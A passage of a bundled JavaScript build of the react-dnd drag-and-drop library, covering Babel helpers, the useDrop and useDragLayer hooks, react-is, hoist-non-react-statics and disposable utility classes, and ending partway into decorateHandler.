  function _slicedToArray$6(arr, i) { return _arrayWithHoles$6(arr) || _iterableToArrayLimit$6(arr, i) || _unsupportedIterableToArray$6(arr, i) || _nonIterableRest$6(); }

  function _nonIterableRest$6() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

  function _unsupportedIterableToArray$6(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$6(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$6(o, minLen); }

  function _arrayLikeToArray$6(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

  function _iterableToArrayLimit$6(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

  function _arrayWithHoles$6(arr) { if (Array.isArray(arr)) return arr; }
  function useDropTargetMonitor() {
    var manager = useDragDropManager();
    var monitor = React.useMemo(function () {
      return new DropTargetMonitorImpl(manager);
    }, [manager]);
    var connector = React.useMemo(function () {
      return new TargetConnector(manager.getBackend());
    }, [manager]);
    return [monitor, connector];
  }
  function useDropHandler(spec, monitor, connector) {
    var manager = useDragDropManager();
    var handler = React.useMemo(function () {
      return {
        canDrop: function canDrop() {
          var canDrop = spec.current.canDrop;
          return canDrop ? canDrop(monitor.getItem(), monitor) : true;
        },
        hover: function hover() {
          var hover = spec.current.hover;

          if (hover) {
            hover(monitor.getItem(), monitor);
          }
        },
        drop: function drop() {
          var drop = spec.current.drop;

          if (drop) {
            return drop(monitor.getItem(), monitor);
          }
        }
      };
    }, [monitor]);
    useIsomorphicLayoutEffect(function registerHandler() {
      var _registerTarget = registerTarget(spec.current.accept, handler, manager),
          _registerTarget2 = _slicedToArray$6(_registerTarget, 2),
          handlerId = _registerTarget2[0],
          unregister = _registerTarget2[1];

      monitor.receiveHandlerId(handlerId);
      connector.receiveHandlerId(handlerId);
      return unregister;
    }, [monitor, connector]);
  }

  function _slicedToArray$7(arr, i) { return _arrayWithHoles$7(arr) || _iterableToArrayLimit$7(arr, i) || _unsupportedIterableToArray$7(arr, i) || _nonIterableRest$7(); }

  function _nonIterableRest$7() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

  function _unsupportedIterableToArray$7(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$7(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$7(o, minLen); }

  function _arrayLikeToArray$7(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

  function _iterableToArrayLimit$7(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

  function _arrayWithHoles$7(arr) { if (Array.isArray(arr)) return arr; }
  /**
   * useDropTarget Hook
   * @param spec The drop target specification
   */

  function useDrop(spec) {
    var specRef = React.useRef(spec);
    specRef.current = spec;
    invariant(spec.accept != null, 'accept must be defined');

    var _useDropTargetMonitor = useDropTargetMonitor(),
        _useDropTargetMonitor2 = _slicedToArray$7(_useDropTargetMonitor, 2),
        monitor = _useDropTargetMonitor2[0],
        connector = _useDropTargetMonitor2[1];

    useDropHandler(specRef, monitor, connector);
    var result = useMonitorOutput(monitor, specRef.current.collect || function () {
      return {};
    }, function () {
      return connector.reconnect();
    });
    var connectDropTarget = React.useMemo(function () {
      return connector.hooks.dropTarget();
    }, [connector]);
    useIsomorphicLayoutEffect(function () {
      connector.dropTargetOptions = spec.options || null;
      connector.reconnect();
    }, [spec.options]);
    return [result, connectDropTarget];
  }

  function _slicedToArray$8(arr, i) { return _arrayWithHoles$8(arr) || _iterableToArrayLimit$8(arr, i) || _unsupportedIterableToArray$8(arr, i) || _nonIterableRest$8(); }

  function _nonIterableRest$8() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

  function _unsupportedIterableToArray$8(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$8(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$8(o, minLen); }

  function _arrayLikeToArray$8(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

  function _iterableToArrayLimit$8(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

  function _arrayWithHoles$8(arr) { if (Array.isArray(arr)) return arr; }
  /**
   * useDragLayer Hook
   * @param collector The property collector
   */

  function useDragLayer(collect) {
    var dragDropManager = useDragDropManager();
    var monitor = dragDropManager.getMonitor();

    var _useCollector = useCollector(monitor, collect),
        _useCollector2 = _slicedToArray$8(_useCollector, 2),
        collected = _useCollector2[0],
        updateCollected = _useCollector2[1];

    React.useEffect(function () {
      return monitor.subscribeToOffsetChange(updateCollected);
    });
    React.useEffect(function () {
      return monitor.subscribeToStateChange(updateCollected);
    });
    return collected;
  }

  function _typeof$4(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$4 = function _typeof(obj) { return typeof obj; }; } else { _typeof$4 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$4(obj); }

  // cheap lodash replacements
  function isFunction(input) {
    return typeof input === 'function';
  }
  function noop() {// noop
  }

  function isObjectLike(input) {
    return _typeof$4(input) === 'object' && input !== null;
  }

  function isPlainObject$1(input) {
    if (!isObjectLike(input)) {
      return false;
    }

    if (Object.getPrototypeOf(input) === null) {
      return true;
    }

    var proto = input;

    while (Object.getPrototypeOf(proto) !== null) {
      proto = Object.getPrototypeOf(proto);
    }

    return Object.getPrototypeOf(input) === proto;
  }

  function getDecoratedComponent(instanceRef) {
    var currentRef = instanceRef.current;

    if (currentRef == null) {
      return null;
    } else if (currentRef.decoratedRef) {
      // go through the private field in decorateHandler to avoid the invariant hit
      return currentRef.decoratedRef.current;
    } else {
      return currentRef;
    }
  }
  function isClassComponent(Component) {
    return Component && Component.prototype && typeof Component.prototype.render === 'function';
  }
  function isRefForwardingComponent(C) {
    var _item$$$typeof;

    var item = C;
    return (item === null || item === void 0 ? void 0 : (_item$$$typeof = item.$$typeof) === null || _item$$$typeof === void 0 ? void 0 : _item$$$typeof.toString()) === 'Symbol(react.forward_ref)';
  }
  function isRefable(C) {
    return isClassComponent(C) || isRefForwardingComponent(C);
  }
  function checkDecoratorArguments(functionName, signature) {
    {
      for (var i = 0; i < (arguments.length <= 2 ? 0 : arguments.length - 2); i++) {
        var arg = i + 2 < 2 || arguments.length <= i + 2 ? undefined : arguments[i + 2];

        if (arg && arg.prototype && arg.prototype.render) {
          // eslint-disable-next-line no-console
          console.error('You seem to be applying the arguments in the wrong order. ' + "It should be ".concat(functionName, "(").concat(signature, ")(Component), not the other way around. ") + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#you-seem-to-be-applying-the-arguments-in-the-wrong-order');
          return;
        }
      }
    }
  }

  function createCommonjsModule(fn, basedir, module) {
  	return module = {
  	  path: basedir,
  	  exports: {},
  	  require: function (path, base) {
        return commonjsRequire(path, (base === undefined || base === null) ? module.path : base);
      }
  	}, fn(module, module.exports), module.exports;
  }

  function commonjsRequire () {
  	throw new Error('Dynamic requires are not currently supported by @rollup/plugin-commonjs');
  }

  var reactIs_development = createCommonjsModule(function (module, exports) {



  {
    (function() {

  // The Symbol used to tag the ReactElement-like types. If there is no native Symbol
  // nor polyfill, then a plain number is used for performance.
  var hasSymbol = typeof Symbol === 'function' && Symbol.for;
  var REACT_ELEMENT_TYPE = hasSymbol ? Symbol.for('react.element') : 0xeac7;
  var REACT_PORTAL_TYPE = hasSymbol ? Symbol.for('react.portal') : 0xeaca;
  var REACT_FRAGMENT_TYPE = hasSymbol ? Symbol.for('react.fragment') : 0xeacb;
  var REACT_STRICT_MODE_TYPE = hasSymbol ? Symbol.for('react.strict_mode') : 0xeacc;
  var REACT_PROFILER_TYPE = hasSymbol ? Symbol.for('react.profiler') : 0xead2;
  var REACT_PROVIDER_TYPE = hasSymbol ? Symbol.for('react.provider') : 0xeacd;
  var REACT_CONTEXT_TYPE = hasSymbol ? Symbol.for('react.context') : 0xeace; // TODO: We don't use AsyncMode or ConcurrentMode anymore. They were temporary
  // (unstable) APIs that have been removed. Can we remove the symbols?

  var REACT_ASYNC_MODE_TYPE = hasSymbol ? Symbol.for('react.async_mode') : 0xeacf;
  var REACT_CONCURRENT_MODE_TYPE = hasSymbol ? Symbol.for('react.concurrent_mode') : 0xeacf;
  var REACT_FORWARD_REF_TYPE = hasSymbol ? Symbol.for('react.forward_ref') : 0xead0;
  var REACT_SUSPENSE_TYPE = hasSymbol ? Symbol.for('react.suspense') : 0xead1;
  var REACT_SUSPENSE_LIST_TYPE = hasSymbol ? Symbol.for('react.suspense_list') : 0xead8;
  var REACT_MEMO_TYPE = hasSymbol ? Symbol.for('react.memo') : 0xead3;
  var REACT_LAZY_TYPE = hasSymbol ? Symbol.for('react.lazy') : 0xead4;
  var REACT_BLOCK_TYPE = hasSymbol ? Symbol.for('react.block') : 0xead9;
  var REACT_FUNDAMENTAL_TYPE = hasSymbol ? Symbol.for('react.fundamental') : 0xead5;
  var REACT_RESPONDER_TYPE = hasSymbol ? Symbol.for('react.responder') : 0xead6;
  var REACT_SCOPE_TYPE = hasSymbol ? Symbol.for('react.scope') : 0xead7;

  function isValidElementType(type) {
    return typeof type === 'string' || typeof type === 'function' || // Note: its typeof might be other than 'symbol' or 'number' if it's a polyfill.
    type === REACT_FRAGMENT_TYPE || type === REACT_CONCURRENT_MODE_TYPE || type === REACT_PROFILER_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || typeof type === 'object' && type !== null && (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_RESPONDER_TYPE || type.$$typeof === REACT_SCOPE_TYPE || type.$$typeof === REACT_BLOCK_TYPE);
  }

  function typeOf(object) {
    if (typeof object === 'object' && object !== null) {
      var $$typeof = object.$$typeof;

      switch ($$typeof) {
        case REACT_ELEMENT_TYPE:
          var type = object.type;

          switch (type) {
            case REACT_ASYNC_MODE_TYPE:
            case REACT_CONCURRENT_MODE_TYPE:
            case REACT_FRAGMENT_TYPE:
            case REACT_PROFILER_TYPE:
            case REACT_STRICT_MODE_TYPE:
            case REACT_SUSPENSE_TYPE:
              return type;

            default:
              var $$typeofType = type && type.$$typeof;

              switch ($$typeofType) {
                case REACT_CONTEXT_TYPE:
                case REACT_FORWARD_REF_TYPE:
                case REACT_LAZY_TYPE:
                case REACT_MEMO_TYPE:
                case REACT_PROVIDER_TYPE:
                  return $$typeofType;

                default:
                  return $$typeof;
              }

          }

        case REACT_PORTAL_TYPE:
          return $$typeof;
      }
    }

    return undefined;
  } // AsyncMode is deprecated along with isAsyncMode

  var AsyncMode = REACT_ASYNC_MODE_TYPE;
  var ConcurrentMode = REACT_CONCURRENT_MODE_TYPE;
  var ContextConsumer = REACT_CONTEXT_TYPE;
  var ContextProvider = REACT_PROVIDER_TYPE;
  var Element = REACT_ELEMENT_TYPE;
  var ForwardRef = REACT_FORWARD_REF_TYPE;
  var Fragment = REACT_FRAGMENT_TYPE;
  var Lazy = REACT_LAZY_TYPE;
  var Memo = REACT_MEMO_TYPE;
  var Portal = REACT_PORTAL_TYPE;
  var Profiler = REACT_PROFILER_TYPE;
  var StrictMode = REACT_STRICT_MODE_TYPE;
  var Suspense = REACT_SUSPENSE_TYPE;
  var hasWarnedAboutDeprecatedIsAsyncMode = false; // AsyncMode should be deprecated

  function isAsyncMode(object) {
    {
      if (!hasWarnedAboutDeprecatedIsAsyncMode) {
        hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint

        console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');
      }
    }

    return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;
  }
  function isConcurrentMode(object) {
    return typeOf(object) === REACT_CONCURRENT_MODE_TYPE;
  }
  function isContextConsumer(object) {
    return typeOf(object) === REACT_CONTEXT_TYPE;
  }
  function isContextProvider(object) {
    return typeOf(object) === REACT_PROVIDER_TYPE;
  }
  function isElement(object) {
    return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
  }
  function isForwardRef(object) {
    return typeOf(object) === REACT_FORWARD_REF_TYPE;
  }
  function isFragment(object) {
    return typeOf(object) === REACT_FRAGMENT_TYPE;
  }
  function isLazy(object) {
    return typeOf(object) === REACT_LAZY_TYPE;
  }
  function isMemo(object) {
    return typeOf(object) === REACT_MEMO_TYPE;
  }
  function isPortal(object) {
    return typeOf(object) === REACT_PORTAL_TYPE;
  }
  function isProfiler(object) {
    return typeOf(object) === REACT_PROFILER_TYPE;
  }
  function isStrictMode(object) {
    return typeOf(object) === REACT_STRICT_MODE_TYPE;
  }
  function isSuspense(object) {
    return typeOf(object) === REACT_SUSPENSE_TYPE;
  }

  exports.AsyncMode = AsyncMode;
  exports.ConcurrentMode = ConcurrentMode;
  exports.ContextConsumer = ContextConsumer;
  exports.ContextProvider = ContextProvider;
  exports.Element = Element;
  exports.ForwardRef = ForwardRef;
  exports.Fragment = Fragment;
  exports.Lazy = Lazy;
  exports.Memo = Memo;
  exports.Portal = Portal;
  exports.Profiler = Profiler;
  exports.StrictMode = StrictMode;
  exports.Suspense = Suspense;
  exports.isAsyncMode = isAsyncMode;
  exports.isConcurrentMode = isConcurrentMode;
  exports.isContextConsumer = isContextConsumer;
  exports.isContextProvider = isContextProvider;
  exports.isElement = isElement;
  exports.isForwardRef = isForwardRef;
  exports.isFragment = isFragment;
  exports.isLazy = isLazy;
  exports.isMemo = isMemo;
  exports.isPortal = isPortal;
  exports.isProfiler = isProfiler;
  exports.isStrictMode = isStrictMode;
  exports.isSuspense = isSuspense;
  exports.isValidElementType = isValidElementType;
  exports.typeOf = typeOf;
    })();
  }
  });
  var reactIs_development_1 = reactIs_development.AsyncMode;
  var reactIs_development_2 = reactIs_development.ConcurrentMode;
  var reactIs_development_3 = reactIs_development.ContextConsumer;
  var reactIs_development_4 = reactIs_development.ContextProvider;
  var reactIs_development_5 = reactIs_development.Element;
  var reactIs_development_6 = reactIs_development.ForwardRef;
  var reactIs_development_7 = reactIs_development.Fragment;
  var reactIs_development_8 = reactIs_development.Lazy;
  var reactIs_development_9 = reactIs_development.Memo;
  var reactIs_development_10 = reactIs_development.Portal;
  var reactIs_development_11 = reactIs_development.Profiler;
  var reactIs_development_12 = reactIs_development.StrictMode;
  var reactIs_development_13 = reactIs_development.Suspense;
  var reactIs_development_14 = reactIs_development.isAsyncMode;
  var reactIs_development_15 = reactIs_development.isConcurrentMode;
  var reactIs_development_16 = reactIs_development.isContextConsumer;
  var reactIs_development_17 = reactIs_development.isContextProvider;
  var reactIs_development_18 = reactIs_development.isElement;
  var reactIs_development_19 = reactIs_development.isForwardRef;
  var reactIs_development_20 = reactIs_development.isFragment;
  var reactIs_development_21 = reactIs_development.isLazy;
  var reactIs_development_22 = reactIs_development.isMemo;
  var reactIs_development_23 = reactIs_development.isPortal;
  var reactIs_development_24 = reactIs_development.isProfiler;
  var reactIs_development_25 = reactIs_development.isStrictMode;
  var reactIs_development_26 = reactIs_development.isSuspense;
  var reactIs_development_27 = reactIs_development.isValidElementType;
  var reactIs_development_28 = reactIs_development.typeOf;

  var reactIs = createCommonjsModule(function (module) {

  {
    module.exports = reactIs_development;
  }
  });

  /**
   * Copyright 2015, Yahoo! Inc.
   * Copyrights licensed under the New BSD License. See the accompanying LICENSE file for terms.
   */
  var REACT_STATICS = {
    childContextTypes: true,
    contextType: true,
    contextTypes: true,
    defaultProps: true,
    displayName: true,
    getDefaultProps: true,
    getDerivedStateFromError: true,
    getDerivedStateFromProps: true,
    mixins: true,
    propTypes: true,
    type: true
  };
  var KNOWN_STATICS = {
    name: true,
    length: true,
    prototype: true,
    caller: true,
    callee: true,
    arguments: true,
    arity: true
  };
  var FORWARD_REF_STATICS = {
    '$$typeof': true,
    render: true,
    defaultProps: true,
    displayName: true,
    propTypes: true
  };
  var MEMO_STATICS = {
    '$$typeof': true,
    compare: true,
    defaultProps: true,
    displayName: true,
    propTypes: true,
    type: true
  };
  var TYPE_STATICS = {};
  TYPE_STATICS[reactIs.ForwardRef] = FORWARD_REF_STATICS;
  TYPE_STATICS[reactIs.Memo] = MEMO_STATICS;

  function getStatics(component) {
    // React v16.11 and below
    if (reactIs.isMemo(component)) {
      return MEMO_STATICS;
    } // React v16.12 and above


    return TYPE_STATICS[component['$$typeof']] || REACT_STATICS;
  }

  var defineProperty = Object.defineProperty;
  var getOwnPropertyNames = Object.getOwnPropertyNames;
  var getOwnPropertySymbols = Object.getOwnPropertySymbols;
  var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;
  var getPrototypeOf = Object.getPrototypeOf;
  var objectPrototype = Object.prototype;
  function hoistNonReactStatics(targetComponent, sourceComponent, blacklist) {
    if (typeof sourceComponent !== 'string') {
      // don't hoist over string (html) components
      if (objectPrototype) {
        var inheritedComponent = getPrototypeOf(sourceComponent);

        if (inheritedComponent && inheritedComponent !== objectPrototype) {
          hoistNonReactStatics(targetComponent, inheritedComponent, blacklist);
        }
      }

      var keys = getOwnPropertyNames(sourceComponent);

      if (getOwnPropertySymbols) {
        keys = keys.concat(getOwnPropertySymbols(sourceComponent));
      }

      var targetStatics = getStatics(targetComponent);
      var sourceStatics = getStatics(sourceComponent);

      for (var i = 0; i < keys.length; ++i) {
        var key = keys[i];

        if (!KNOWN_STATICS[key] && !(blacklist && blacklist[key]) && !(sourceStatics && sourceStatics[key]) && !(targetStatics && targetStatics[key])) {
          var descriptor = getOwnPropertyDescriptor(sourceComponent, key);

          try {
            // Avoid failures from read-only properties
            defineProperty(targetComponent, key, descriptor);
          } catch (e) {}
        }
      }
    }

    return targetComponent;
  }

  var hoistNonReactStatics_cjs = hoistNonReactStatics;

  function _classCallCheck$7(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$7(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$7(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$7(Constructor.prototype, protoProps); if (staticProps) _defineProperties$7(Constructor, staticProps); return Constructor; }
  /**
   * Provides a set of static methods for creating Disposables.
   * @param {Function} action Action to run during the first call to dispose.
   * The action is guaranteed to be run at most once.
   */

  var Disposable =
  /** @class */
  function () {
    var Disposable = /*#__PURE__*/function () {
      function Disposable(action) {
        _classCallCheck$7(this, Disposable);

        this.isDisposed = false;
        this.action = isFunction(action) ? action : noop;
      }
      /**
       * Validates whether the given object is a disposable
       * @param {Object} Object to test whether it has a dispose method
       * @returns {Boolean} true if a disposable object, else false.
       */


      _createClass$7(Disposable, [{
        key: "dispose",

        /** Performs the task of cleaning up resources. */
        value: function dispose() {
          if (!this.isDisposed) {
            this.action();
            this.isDisposed = true;
          }
        }
      }], [{
        key: "isDisposable",
        value: function isDisposable(d) {
          return Boolean(d && isFunction(d.dispose));
        }
      }, {
        key: "_fixup",
        value: function _fixup(result) {
          return Disposable.isDisposable(result) ? result : Disposable.empty;
        }
        /**
         * Creates a disposable object that invokes the specified action when disposed.
         * @param {Function} dispose Action to run during the first call to dispose.
         * The action is guaranteed to be run at most once.
         * @return {Disposable} The disposable object that runs the given action upon disposal.
         */

      }, {
        key: "create",
        value: function create(action) {
          return new Disposable(action);
        }
      }]);

      return Disposable;
    }();
    /**
     * Gets the disposable that does nothing when disposed.
     */


    Disposable.empty = {
      dispose: noop
    };
    return Disposable;
  }();
  /**
   * Represents a group of disposable resources that are disposed together.
   * @constructor
   */

  var CompositeDisposable = /*#__PURE__*/function () {
    function CompositeDisposable() {
      _classCallCheck$7(this, CompositeDisposable);

      this.isDisposed = false;

      for (var _len = arguments.length, disposables = new Array(_len), _key = 0; _key < _len; _key++) {
        disposables[_key] = arguments[_key];
      }

      this.disposables = disposables;
    }
    /**
     * Adds a disposable to the CompositeDisposable or disposes the disposable if the CompositeDisposable is disposed.
     * @param {Any} item Disposable to add.
     */


    _createClass$7(CompositeDisposable, [{
      key: "add",
      value: function add(item) {
        if (this.isDisposed) {
          item.dispose();
        } else {
          this.disposables.push(item);
        }
      }
      /**
       * Removes and disposes the first occurrence of a disposable from the CompositeDisposable.
       * @param {Any} item Disposable to remove.
       * @returns {Boolean} true if found; false otherwise.
       */

    }, {
      key: "remove",
      value: function remove(item) {
        var shouldDispose = false;

        if (!this.isDisposed) {
          var idx = this.disposables.indexOf(item);

          if (idx !== -1) {
            shouldDispose = true;
            this.disposables.splice(idx, 1);
            item.dispose();
          }
        }

        return shouldDispose;
      }
      /**
       *  Disposes all disposables in the group and removes them from the group but
       *  does not dispose the CompositeDisposable.
       */

    }, {
      key: "clear",
      value: function clear() {
        if (!this.isDisposed) {
          var len = this.disposables.length;
          var currentDisposables = new Array(len);

          for (var i = 0; i < len; i++) {
            currentDisposables[i] = this.disposables[i];
          }

          this.disposables = [];

          for (var _i = 0; _i < len; _i++) {
            currentDisposables[_i].dispose();
          }
        }
      }
      /**
       *  Disposes all disposables in the group and removes them from the group.
       */

    }, {
      key: "dispose",
      value: function dispose() {
        if (!this.isDisposed) {
          this.isDisposed = true;
          var len = this.disposables.length;
          var currentDisposables = new Array(len);

          for (var i = 0; i < len; i++) {
            currentDisposables[i] = this.disposables[i];
          }

          this.disposables = [];

          for (var _i2 = 0; _i2 < len; _i2++) {
            currentDisposables[_i2].dispose();
          }
        }
      }
    }]);

    return CompositeDisposable;
  }();
  /**
   * Represents a disposable resource whose underlying disposable resource can
   * be replaced by another disposable resource, causing automatic disposal of
   * the previous underlying disposable resource.
   */

  var SerialDisposable = /*#__PURE__*/function () {
    function SerialDisposable() {
      _classCallCheck$7(this, SerialDisposable);

      this.isDisposed = false;
    }
    /**
     * Gets the underlying disposable.
     * @returns {Any} the underlying disposable.
     */


    _createClass$7(SerialDisposable, [{
      key: "getDisposable",
      value: function getDisposable() {
        return this.current;
      }
    }, {
      key: "setDisposable",
      value: function setDisposable(value) {
        var shouldDispose = this.isDisposed;

        if (!shouldDispose) {
          var old = this.current;
          this.current = value;

          if (old) {
            old.dispose();
          }
        }

        if (shouldDispose && value) {
          value.dispose();
        }
      }
      /** Performs the task of cleaning up resources. */

    }, {
      key: "dispose",
      value: function dispose() {
        if (!this.isDisposed) {
          this.isDisposed = true;
          var old = this.current;
          this.current = undefined;

          if (old) {
            old.dispose();
          }
        }
      }
    }]);

    return SerialDisposable;
  }();

  function _typeof$5(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof$5 = function _typeof(obj) { return typeof obj; }; } else { _typeof$5 = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof$5(obj); }

  function _slicedToArray$9(arr, i) { return _arrayWithHoles$9(arr) || _iterableToArrayLimit$9(arr, i) || _unsupportedIterableToArray$9(arr, i) || _nonIterableRest$9(); }

  function _nonIterableRest$9() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

  function _unsupportedIterableToArray$9(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray$9(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray$9(o, minLen); }

  function _arrayLikeToArray$9(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

  function _iterableToArrayLimit$9(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

  function _arrayWithHoles$9(arr) { if (Array.isArray(arr)) return arr; }

  function _classCallCheck$8(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  function _defineProperties$8(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

  function _createClass$8(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$8(Constructor.prototype, protoProps); if (staticProps) _defineProperties$8(Constructor, staticProps); return Constructor; }

  function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }

  function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }

  function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }

  function _possibleConstructorReturn(self, call) { if (call && (_typeof$5(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }

  function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }

  function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }

  function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }
  function decorateHandler(_ref) {
    var DecoratedComponent = _ref.DecoratedComponent,
        createHandler = _ref.createHandler,
        createMonitor = _ref.createMonitor,
        createConnector = _ref.createConnector,
        registerHandler = _ref.registerHandler,
        containerDisplayName = _ref.containerDisplayName,
        getType = _ref.getType,
        collect = _ref.collect,
        options = _ref.options;
    var _options$arePropsEqua = options.arePropsEqual,
        arePropsEqual = _options$arePropsEqua === void 0 ? shallowEqual : _options$arePropsEqua;
    var Decorated = DecoratedComponent;
    var displayName = DecoratedComponent.displayName || DecoratedComponent.name || 'Component';

    var DragDropContainer =
    /** @class */
    function () {
      var DragDropContainer = /*#__PURE__*/function (_React$Component) {
        _inherits(DragDropContainer, _React$Component);

        var _super = _createSuper(DragDropContainer);

        function DragDropContainer(props) {
          var _this;

          _classCallCheck$8(this, DragDropContainer);

          _this = _super.call(this, props);
          _this.decoratedRef = React.createRef();

